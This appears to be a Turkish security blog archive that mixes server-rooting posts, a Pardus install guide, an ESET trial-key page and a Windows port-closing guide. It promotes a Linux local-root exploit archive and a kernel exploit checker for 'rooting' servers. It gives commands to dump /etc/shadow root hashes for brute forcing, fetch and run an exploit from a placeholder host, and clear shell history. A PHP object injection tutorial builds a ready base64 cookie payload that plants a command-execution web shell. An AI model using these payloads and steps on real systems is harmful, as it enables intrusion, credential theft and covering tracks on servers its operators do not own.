30 Ağustos 2019 Cuma

Linux Local Root Arşiv 2004-2017

https://dosya.co/gs0j8j4gjhv3/L_K_E.zip.html

Kernel Root Exploit Tarıyıcı

şimdi bi sunucuyu rootlamak istiyoruz ama kerneli rootlamaya uygunmu değilmi bunu tespit eden exploit
eğer SAFE_KERNEL uyarısı verirse olumsuz yani rootlanmaz MITIGATED uyarısı verirse biraz uğraşmaya değer ! SAFE_KPATCH uyarısı var ise yeni patch almış demektir  VULNERABLE uyarısı verirse rootlamaya başlaya bilirsiniz



Linux Server Rootlama ( Dirty.c )

python -c 'import pty; pty.spawn("/bin/sh")'

29 Ağustos 2019 Perşembe

30 Ağustos Zafer Bayramı

30 ağustos zafer bayramınız kutlu olsun


28 Ağustos 2019 Çarşamba

Skandal Facebook


Mozilla yayınladığı son


SWAPGS saldırısı



26 Ağustos 2019 Pazartesi

Linux'de Bilgi Güvenliği ve Exploit Derlemek

Linux'de Bilgi Güvenliği ve Exploit Derlemek


Linux (CentOS) makinelerde bilgi güvenliği için kullanılan komutlar ve Exploit derleyip çalıştırmak için gerekli bilgileri bu makale altında toplayacağım. Aşağıdaki komutlar ile Linux sunucu üzerinde güvenlik ve zaafiyet önlemek için bilgiler edinebilirsiniz.

Linux'de tüm kullanıcıların (Root dahil) Username, UID değerleri, izin yollarını öğrenmek için;
cat /etc/passwd

rootayyıldız:x:0:0:root:/root:/bin/bash
0 ID olanlar Root yetkilerine sahip kullanıcılardır.


Root kullanıcı parolası için kullanılan şifreleme algoritmasını öğrenmek için;
authconfig --test | grep hashing

Makinenin kernel bilgisini öğrenmek için;
uname -a

Linux'de herhangi bir Exploit derlemek için;
yum -y install wget
wget http://exploit-sitesi/vuln.c
gcc -w -o exploit vuln.c
./exploit

Linux işletim sistemli makinelerde kullanıcıların parolalarının özeti "/etc/shadow" dosyasında tutulmaktadır. Dosyayının tamamını görüntülemek için;
cat /etc/shadow

Root kullanıcı parolasının HASH değerini öğrenmek için (Başka kullanıcılar için root yerine öğrenmek istediğiniz kullanıcının adını yazmanız yeterli);
cat /etc/shadow | grep "root:"

Kullanıcı parolasının Sadece HASH değerlerini almak için (Aşağıdaki komut root içindir);
cat /etc/shadow | grep "root:" | cut -d "$" -f4 | cut -d ":" -f1
# cat /etc/shadow | grep "root:" | cut -d ":" -f2

HASH değerleri Password Mangle yöntemleri ile Password Mangler Bash Script sunucuya indirip çalıştırıldıktan sonra Brute Force yöntemi ile bulunabilir.


Linux'de FSTAB Dosyası

/etc/fstab dosyası, sistemdeki aygıtların dosya sistemleri hakkında bilgilerini içeren bir sistem dosyasıdır. Dosyayının tamamını görüntülemek için;
cat /etc/fstab

FSTAB dosyasında şu bilgilere erişebilirsiniz; Sisteme bağlı aygıtlar, Aygıtların mount edildiği noktalar, Aygıtların dosya sistemleri, Dosya sistemi seçenekleri.

Bilgi güvenliği açısından FSTAB, içerisinde derlenmeye çalışan veya derlenirken hata veren Exploit dosyalarını görüntüleyebilirsiniz.

Linux'de Geçmiş Komutları Görüntülemek;

Sunucuda geçmiş komutları görüntülemek için;
history

Sunucuda geçmişte kullanılan komutlarının hepsini silmek;
history -c

Kullanıcıya ait geçmişi görüntülemek (Sunucuda rootayyıldız kullanıcısının SSH üzerinde yazdığı komutları öğrenmek için);
history | grep rootayyıldız

Geçmiş komutlarda aramak istediğimiz kelime veya dizin yolu için;
history | grep aranacak-kelime

Sunucu üzerinde oluşturulan ve silinen kullanıcıların kayıtlarını /var/log/secure dosyasından öğrenebilirsiniz. Linux'de tüm log kayıtları ise  /var/log dizini içinde tutulur.

Hangi dosyada 1 gün veya 3 gün içinde düzenlenmiş, içeriği değiştirilmiş veya nerelerde çalışma yapılmış öğrenemek için;
find -mtime -1
find -mtime -3

Tüm logları görmek için;
cat /var/log/secure

Silinen kullanıcı loglarını görmek için;
cat /var/log/secure | grep userdel

Linux CentOS'da Apache sunucudaki loglar /var/log/httpd dizini içinde tutulur. Apache, modsec_audit, mod_security ve hata kayıtları (error_log) gibi log dosyalarını inceleyebilirsiniz.

CentOS Sunucuya Get Flood saldırısı yapan IP listesini ve gönderdiği talepleri öğrenmek için;
cat /var/log/httpd/accedd_log | cut -d "-" -f1 | sort | uniq -c

Root veya sunucudaki bir kullanıcı hangi IP ile SSH bağlantısı yaptığını known_hosts dosyasına bakarak öğrenebiliriz. İlk olarak ilgili kullanıcının SSH dosya yoluna gidelim;

Kullanıcı Root ise;
cd /root/.ssh/

Home dizini altındaki bir kullanıcı, Örnek: rootayyıldız;
cd /home/rootayyıldız/.ssh/

Dosyayı okuyarak bağlandığı IP adresini görebiliriz;
cat known_hosts

Pardus Kurulum Kılavuzu

Pardus Kurulum Kılavuzu

Kurulum ortamını (DVD, USB, vb.) yerleştirerek bilgisayarınızı yeniden başlatınız.
Önyükleme menüsünde bulunan “Pardus Çalışan” seçeneği ile kuruluma başlamadan Pardus’u inceleyebilir, masaüstünde bulunan “Pardus Yükle” simgesine tıklayarak grafik arayüz ile kuruluma başlayabilirsiniz.
Dil seçimi yaparak ilerleyiniz.
Konum seçimi yaparak ilerleyiniz. Bir önceki ekranda seçilen dil ayarlarına göre otomatik konum gelmektedir. “diğer” seçeneği ile farklı bir konum tanımlayabilirsiniz.
Kullanılacak klavye düzenini seçerek ilerleyiniz.
Ağda bilgisayarınızın adını benzersiz kılacak bir makine adı belirleyiniz.
Etki alanı adınızı tanımlayınız, herhangi bir etki alanına dahil değilseniz boş bırakınız.
Kurulacak sistemdeki oluşturulacak kullanıcının tam adını giriniz.
Yeni oluşacak hesap için kullanıcı adı belirleyiniz.
Tanımlanan kullanıcı için parola belirleyiniz.
pk-dikkatBilgisayarınız UEFI sistemini destekliyorsa bu ekranda seçim yapınız. Seçiminize göre kurulum aracı kurulacak diskin baş kısmına “EFI Sistem Bölümüoluşturarak kurulum yapacaktır.
Yardımcı ile – diskin tamamını kullan” seçeneği ile kurulum aracı sizin yerinize tüm bölümlemeyi yapacaktır. Seçili diski tamamen biçimlendirerek kurulum başlayacaktır.
pk-dikkatOtomatik bölümleme haricinde bir disk tanımlaması için “Elle” seçeneğini kullanabilirsiniz. Bu seçenek ile işletim sistemi için gerekli tüm bölümleri elle oluşturmanız gerektiğini unutmayınız.
Kurulum yapılacak diski seçerek ilerleyiniz.
Disk bölümleme yapısını seçerek ilerleyiniz. Tüm dosyaların tek bölümde kurulması önerilmektedir.
Seçimler sonucunda oluşan yapıya onay vererek ilerleyiniz.
Değişiklikleri kaydederek ilerleyiniz.
Paket yöneticisinin kullanacağı depo adresini tanımlayınız. Farklı bir adres kullanılmayacak ise otomatik olarak gelen adresi onaylayarak devam ediniz.
Pardus önyükleyicisinin kurulumu için onay vererek ilerleyiniz. Bu işlem sonrasında Pardus kendi önyükleyicisini kuracak, daha önce kurulu olan sistemleri okuyarak açılış ekranında seçiminize sunacaktır.
Grub önyükleyicisinin kurulacağı diski seçiniz.
KURULUM TAMAMLANDI!
Bu aşamadan sonra kurulum ortamını (DVD, USB, vb.) cihazınızdan çıkarmayı unutmayınız.

Eset Nod32 + Eset Smart Security Güncel Key 2019+

Eset Nod32 + Eset Smart Security Güncel Key 2019+
Her zaman güncel olan ve sürekli olarak yenilenen eset deneme sürümü keyleri burada sizlere sunulacak. Aşağıda yer alan eset deneme sürümü lisansları bozuk vey çalışmıyorsa bizlere iletirseniz bizlerde ivedi olarak kontrolleri sağlar yeni deneme keylerini sizlerle paylaşırız. Sitemiz her zaman kullanıcıların çıkarlarını gözetip faydalı olacak her türlü içeriği paylaşmaya özen göstermiştir bundan sonrada devam edeceğiz bu paylaşımlara.
2019  EYLÜL  güncel serial key
YENİ 2019 SÜRELİ Lisanslar güncel
=======================
 Ağustos EYLÜL 2019 Tüm Güncel keyler


PC deki Açık Portları Kapatma





Başlat\Çalıştır cmd yazın enterlayın. Komut satırına netstat –an yazın ve PC’mizdeki açık portalar bakalım.(C:\netstat -an

İl.Kr. Yerel Adres Yabancı Adres Durum

TCP 0.0.0.0:25 0.0.0.0:0 LISTENING

TCP 0.0.0.0:80 0.0.0.0:0 LISTENING

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

TCP 0.0.0.0:443 0.0.0.0:0 LISTENING

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1110 0.0.0.0:0 LISTENING

TCP 127.0.0.1:1029 0.0.0.0:0 LISTENING

TCP 127.0.0.1:2783 127.0.0.1:1110 CLOSE_WAIT

TCP 192.168.1.33:139 0.0.0.0:0 LISTENING

TCP 192.168.1.33:2769 207.46.2.36:1863 ESTABLISHED



Şimdi burada 3. satırda 135. Portun Durumu LISTENING olarak gösteriliyor. Bu demektir ki 135 nolu portumuz dinleme modunda yabancı adresten gelecek olan bağlantı isteğini kabul edecek ve bağlantı kuracaktır.

Şimdi PC’mizdeki açık portları öğrendik sıra bunları nasıl kapatacağımızda. En çok saldırı alan portan 139 nolu porttan başlıyoruz.

=== 139 NOLU PORTUN KAPATILMASI ===
Eğer bu portumuz açık ise kolaylıkla NetBios üzerinden PC’mize erişim sağlanır. Kapatmak için sırasıyla; Ağ Bağlantılarım(Sağ tıklayın) Yerel Ağ Bağlantısı(Sağ tıklayın)\Özellikler\Internet İletişim Kuralları(TCP/IP) çift tıklayın. Ardından Gelişmiş tuşuna tıklayın WINS sekmesine geçin, en altta TCP/IP üzerinden NetBOIS’u devre dışı bırak ı işaretleyip Tamam’a basın. Tamamdır 139 nolu Portumuzu kapattık.

=== 135 NOLU PORTUN KAPATILMASI ===
Regedit’i(Kayıt Defteri) açın. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole dizinine tıklayın. Sağ tarafta EnableDCOM verisine çift tıklayın ve Değer Verisini N olarak değiştirin.

Bir üst dizine geçin(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RPC).S ağ tarafta DCOM Protocols değerine çift tıklayın ve ncacn_ip_tcp adlı veriyi silin diğer verilere karışmayın. Tamamdır.135 nolu Portumuz kapattık.

=== 445 NOLU PORTUN KAPATILMASI ===
Regedit’e girin. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\NerBT\Parameters sağ tarafta bulunan TransportBindName verisine çift tıklayın ve içerisindeki -Device- girdisini silin. Tamamdır.445 nolu Portumuzu başarıyla kapattık.



PHP Object Injection

                                           PHP Serialized Veri Yapısı


Serialize fonksiyonu; PHP’de bir object’i, array’i veya bir variable’ı taşınabilir hale getirmek için yazılmış bir fonksiyondur. Serialize edilmiş bir object’in anlaşılabilir ve geri döndürülebilir bir yapısı vardır.
Örneğin “Netsparker” gibi bir class’tan üretilmiş bir object’in serialized hali aşağıdaki gibidir.
Kod:
<?php

class Netsparker{

 public $publicVar = "omer";
 protected $protectedVar = "citak";
 private $privateVar = "diyarbakir";

 public $intVar = 21;
 public $decimalVar = 2.1;
 public $array = ["string", 13];

 public function publicFunc(){
  echo $this->publicVar;
 }

 protected function protectedFunc(){
  echo $this->protectedVar;
 }

 private function privateFunc(){
  echo $this->privateVar;
 }

}

$ns = new Netsparker;
var_dump(serialize($ns));
Çıktısı:
O:10:"Netsparker":6:{s:9:"publicVar";s:4:"omer";s:15:"*protectedVar";s:5:"citak";s:22:"NetsparkerprivateVar";s:10:"diyarbakir";s:6:"intVar";i:21;s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}
Serialize datanın yapısını 7 farklı şekilde incelememiz gerekecek. Bu 7 şekil şunlardır;
  1. Object
  2. String variable
  3. Protected class variable
  4. Private class variable
  5. Integer variable
  6. Decimal variable
  7. Array

1. Object

O:10:"Netsparker":6:{s:9:"publicVar";s:4:"omer";s:15:"*protectedVar";s:5:"citak";s:22:"NetsparkerprivateVar";s:10:"diyarbakir";s:6:"intVar";i:21;s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}
  • O (Büyük O harfi); Object yani bir nesne olduğu anlamına geliyor.
  • : (İki nokta üst üste); Serialize yapıda tip ile boyutu arasında delimiter.
  • 10; Class name’inin boyutu (byte cinsinden)
  • “Netsparker”; Class ismi.
  • { (Süslü parantez aç); Class içindeki diğer elemanların başlangıcı
  • } (Süslü parantez kapat); Class içindeki diğer elemanların sonu
  • 6; Class içinde kaç eleman olduğu.
Gelelim class’ın elemanlarına.
Elemanlar kendi aralarında noktalı vürgül işareti (;) ile parse edilirler. Yapı tamamen noktalı virgüle göre parse edildikten sonra sırayla 2’şer eleman alınır. Bu elemanlardan 1.si variable’ın ismi, 2.si ise variable’ın içindeki value’dur.

2. String variable

s:9:"publicVar";s:4:"omer";
  • s:9:; Variable’ın name’inin boyutu (byte cinsinden)
  • “publicVar”; Variable’ın name’i
  • s (Küçük S); Variable’ın type’ı string miş.
  • 4; Value boyutu (byte cinsinden).
  • “omer”; value

3. Protected class variable

s:15:"*protectedVar";s:5:"citak";
  • s:15:; Variable’ın name’inin boyutu (byte cinsinden)
  • “protectedVar”; Variable’ın name’i
  • s (Küçük S); Variable’ın type’ı string miş.
  • 5; Value boyutu (byte cinsinden).
  • “citak”; value
Burada dikkat edilmesi gereken bir nokta var. S:15 demesine rağmen “*protectedVar” 13 byte. Fazladan 2 byte gösteriyor. Sebebi ise eğer variable protected ise name’inin önüne “(null_byte)*(null_byte)” gelir. Yani yıldız işareti’nin (*) sağında ve solunda null byte bulunuyor.
Aşağıdaki görselde çıktının hex hali bulunuyor. Hex olarak okunduğundan null byte’lar açık şekilde görülüyor.

4. Private class variable

s:22:"NetsparkerprivateVar";s:10:"diyarbakir";
  • s:22:; Variable’ın name’inin boyutu (byte cinsinden)
  • “NetsparkerprivateVar”; Variable’ın name’i
  • s (Küçük S); Variable’ın type’ı string miş.
  • 10; Value boyutu (byte cinsinden).
  • “diyarbakir”; value
Burada da dikkat edilmesi gereken bir nokta var. “NetsparkerprivateVar” 20 byte olmasına rağmen 22 byte demiş. Protected’dekine benzer olarak; eğer variable private ise name’in önüne “(null_byte)ClassName(null_byte)” gelir. Null byte’ları yine protected bölümünde verdiğim resimde daha net görebilirsiniz.

5. Integer variable

s:6:"intVar";i:21;
  • s:6:; Variable’ın name’inin boyutu (byte cinsinden)
  • “intVar”; Variable’ın name’i
  • i (Küçük İ); Variable’ın type’ı integer mış.
  • 21; value
Burada dikkat edilmesi gereken nokta; variable eğer inter ise value’nun boyutu type’dan sonra yer almaz. Sadece tipi ve value’su yazar.

6. Decimal variable

s:10:"decimalVar";d:2.1000000000000001;
  • s:10:; Variable’ın name’inin boyutu (byte cinsinden)
  • “decimalVar”; Variable’ın name’i
  • d (Küçük D); Variable’ın type’ı decimal mış.
  • 2.1000000000000001; value
Burada da aynı integer gibi value’nun boyutu yer almaz.

7. Array

s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}
  • s:5:; Variable’ın name’inin boyutu (byte cinsinden)
  • “array”; Variable’ın name’i
  • a (Küçük A); Variable’ın type’ı array miş.
  • 2; array’in içerisinde 2 eleman varmış.
i:0;s:6:"string";i:1;i:13;
  • i:0;s:6:; index’i 0 olan eleman string miş ve 6 byte mış
  • “string”; index’i 0 olan elemanın value’su
  • i:1;i:13:; index’i 1 olan eleman integer miş ve value’su 13 müş.

Object Injection Zaafiyeti

Object Injection; PHP’de kullanıcıdan alınan verinin “unserialize()” fonksiyonundan geçirilmesi sonucu oluşan bir zafiyettir. “unserialize()”fonksiyonu; “serialize()” fonksiyonundan geçirilmiş bir PHP variable’ını tekrardan kullanılması için oluşturur.
Eğer serialized edilen değişken; bir class’tan türetilen bir object (nesne) ise; zaten var olup serialize edilip saklanmış bir veriyi tekrardan oluşturduğu için otomatik olarak nesnenin ait olduğu class’ın “__wakeup” metodu tetiklenecektir.
Her ne kadar PHP’nin resmi dökümantasyonunda bahsi geçmese de; bir serialized veri unserialize fonksiyonundan geçirildiğinde “__wakeup()”ile beraber “__destruct()” metodu da tetiklenmektedir.
Yazının başlarında serialize edilmiş bir object’in değişkenlerine müdahale edilebildiğini yazmıştım. Zafiyetin can alıcı noktası tam olarak burasıdır.
Eğer unserialize edilen object’in türetildiği class’ın __wakeup veya __destruct metodları kendi içlerinde; class’a ait public, protected veya private değişkeni kullanıyorsa; saldırgan serialized data üzerinden bu değişkenlerin değerlerini değiştirebildiğinden sistem zafiyetten etkilenebiliyor.
Örneğin loglama işlemi yapan LogClass adındaki classımızın yapısı aşağıdaki gibi olsun:
class LogClass{

 public $logFile = ‘log.txt’;
 public $log = ‘triggered __wakeup method’;

 function __wakeup(){
  $f = fopen($this->logFile, "a");
  fwrite($f, date("d.m.Y H:i:s").’ - ’.$this->log.PHP_EOL);
  fclose($f);
 }

}

if(!isset($_COOKIE["log"])){
 $logger = new LogClass;
 setcookie("log", base64_encode(serialize($logger)));
}

unserialize(base64_decode($_COOKIE["log"]));
Bu kod her çalıştığında log.txt dosyasına $log değişkeni yazılacaktır.

Cookie Manager veya alternatif bir araç ile name’i “log” olan cookie’yi düzenleyip, saldırı gerçekleştirelim.
Saldırımızda hack.php adında bir dosya oluşturup, Remote Command Execution zafiyeti oluşturacak bir kod parçası yerleştireceğiz.
Cookie Manager ile cookie’ye baktığımızda base64 ile encode edilmiş serialized verimizi görüyoruz.

Base64 encoded datayı decode ettiğimizde aşağıdaki gibi serialize dataya ulaşıyoruz.
O:8:"LogClass":2:{s:7:"logFile";s:7:"log.txt";s:3:"log";s:25:"triggered __wakeup method";}
Veriyi saldırı için aşağıdaki gibi tekrar düzenlememiz gerekiyor. Uzaktan komut çalıştırabilmemiz için bizden aldığı komutu sunucuda çalıştıracak bir PHP dosyasına ihtiyacımız var.
“log.txt”’yi “hack.php” olarak değiştiriyoruz. Byte sayısı 7 den 8 e çıktığından dolayı “s:7” yi “s:8” yapıyoruz.
Aynı şekilde “log.txt” nin içerisine yazılacak değer olan “triggered __wakeup method” u; bizden GET metodu ile “cmd” parametresinden aldığı komutu sunucu üzerinden çalıştıracak “<?php echo exec($_GET[“cmd”]); ?>” olarak değiştiriyoruz. Byte sayısı 25 ten 33 e çıktığından dolayı “s:25” i “s:33” yapıyoruz.
Bu değişiklikleri yaptıktan sonra serialized datamız aşağıdaki gibi olacaktır.
O:8:"LogClass":2:{s:7:"logFile";s:8:"hack.php";s:3:"log";s:33:"<?php echo exec($_GET["cmd"]); ?>";}
Sistem bizden bu datayı base64 olarak istediğinden serialized datamızı base64 encode işleminden geçiyoruz ve aşağıdaki gibi bir çıktıya ulaşıyoruz.
Tzo4OiJMb2dDbGFzcyI6Mjp7czo3OiJsb2dGaWxlIjtzOjg6ImhhY2sucGhwIjtzOjM6ImxvZyI7czozMzoiPD9waHAgZWNobyBleGVjKCRfR0VUWyJjbWQiXSk7ID8+Ijt9
En nihayetinde base64 çıktımızı Cookie Manager aracılığı ile “log” adındaki cookie’ye kaydediyoruz. Ve sayfayı bir kez yeniledikten sonra hack.php dosyası oluşmuş olacaktır.

Object Injection’dan Nasıl Korunuruz?

Tek bir yöntemi var; “unserialize” kullanmamak. Zira veri saklamak için JSON gibi alternatifler mevcut.